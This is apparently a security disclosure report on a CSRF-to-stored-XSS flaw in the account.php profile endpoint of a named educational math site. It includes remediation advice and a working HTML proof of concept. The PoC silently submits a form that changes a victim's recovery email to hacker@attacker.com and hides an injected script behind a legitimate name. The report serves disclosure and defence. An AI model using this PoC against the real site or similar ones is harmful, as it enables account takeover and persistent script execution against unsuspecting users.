Vulnerability Report: Account Takeover and Stored XSS via CSRF

Date: 2026-02-12

Vulnerability Type: Cross-Site Request Forgery (CSRF) & Stored Cross-Site Scripting (XSS)

Executive Summary

The user profile update endpoint for non-McMaster accounts (account.php) is vulnerable to Cross-Site Request Forgery (CSRF). Because the application does not validate Anti-CSRF tokens, an attacker can force a victim's browser to submit a POST request that modifies their account details.

Crucially, this vulnerability allows for **Stored Cross-Site Scripting (XSS)**. An attacker can inject malicious JavaScript tags into the victim's "Given Name" or "Surname" fields. Since these names are displayed in the navigation bar on every page of the application, the malicious script will execute persistently whenever the victim browses the site.

Impact

1. **Full Account Takeover (ATO):** An attacker can change the recovery email to an address they control (hacker@attacker.com), allowing them to reset the password and seize the account.
2. **Stored Cross-Site Scripting (XSS):**
    - **Persistent Execution:** The attacker can overwrite the victim's name with a payload like John <script>...</script>. This script executes on **every page** the victim visits.
    - **Stealth Persistence:** By appending the script *after* the legitimate name (e.g., "John<script>..."), the attack remains invisible in the UI (navbar), as the script tag is rendered but not displayed. The modification is only visible if the victim inspects the raw source or visits the "Settings" page explicitly.
    - **Wormable Potential:** The script could be designed to automatically propagate the attack to other users or perform background actions (like harvesting session tokens) without the user's knowledge.
3. **Stealth Exploitation:** The initial CSRF payload can be executed via a 1x1 pixel popup window that opens, executes the request, and closes immediately. The victim would likely not notice the attack occurring.

Technical Details

Vulnerability Root Cause:

1. **Missing Anti-CSRF Tokens:** The account.php endpoint accepts POST requests to update profile information without verifying the origin.
2. **Lack of Input Sanitization (XSS):** The application saves the surname and given_name parameters directly to the database and outputs them into the HTML of the website

without proper output encoding. This allows <script> tags to be interpreted as executable code rather than text.

Affected Endpoint:

POST https://www.childsmath.ca/childsmath/account.php

Parameters:

- surname: **XSS Vector.** Can be overwritten with malicious scripts.
- given_name: **XSS Vector.** Can be overwritten with malicious scripts.
- email: **ATO Vector.** The recovery email address.
- macid__hidden: The victim's current email/ID.
- ff_submit: Action trigger (Save).

Proof of Concept (PoC)

The following HTML demonstrates the attack. It performs two malicious actions:

1. Changes the recovery email to hacker@attacker.com.
2. Injects a Stored XSS payload into the given_name field that alerts "XSS" on every page load, while keeping the visible name "John" to hide the attack.

```
<!DOCTYPE html>
<html>
<head>
    <title>CSRF + Stored XSS PoC</title>
</head>
<body>
    <h3>CSRF to Stored XSS PoC</h3>
    <button id="start">Click to start POC</button>

    <form id="csrfForm" action="https://www.childsmath.ca/childsmath/account.php" method="POST"
enctype="multipart/form-data" style="display:none;">
        <input type="hidden" name="surname" value="Doe">

        <!-- XSS Payload: Sets name to "John" but injects a script -->
        <!-- The script is invisible in the UI but executes on render -->
        <input type="hidden" name="given_name" value='John<script>alert(3.14159);</script>'>

        <!-- Replace with victim's actual ID/Email -->
        <input type="hidden" name="macid__hidden" value="victim@target.com">

        <!-- Account Takeover: Change recovery email -->
        <input type="hidden" name="email" value="hacker@attacker.com">

        <input type="hidden" name="ff_submit" value="Save">
    </form>

    <script>
        document.getElementById('start').onclick = function() {
            // Opens, submits, and closes instantly to hide execution
            document.getElementById('csrfForm').submit();
        };
    </script>
</body>
</html>
```

Recommended Remediation

1. **Implement Anti-CSRF Tokens:** Embed a unique, validated token in the form to prevent cross-site submission.
2. **Output Encoding (Context-Aware):** Ensure that user-supplied data (specifically surname and given_name) is properly HTML-encoded before being rendered in the browser. Convert special characters (<, >, &, ", ') to their HTML entity equivalents (e.g., <, >).
3. **Re-authentication:** Require password confirmation for profile changes.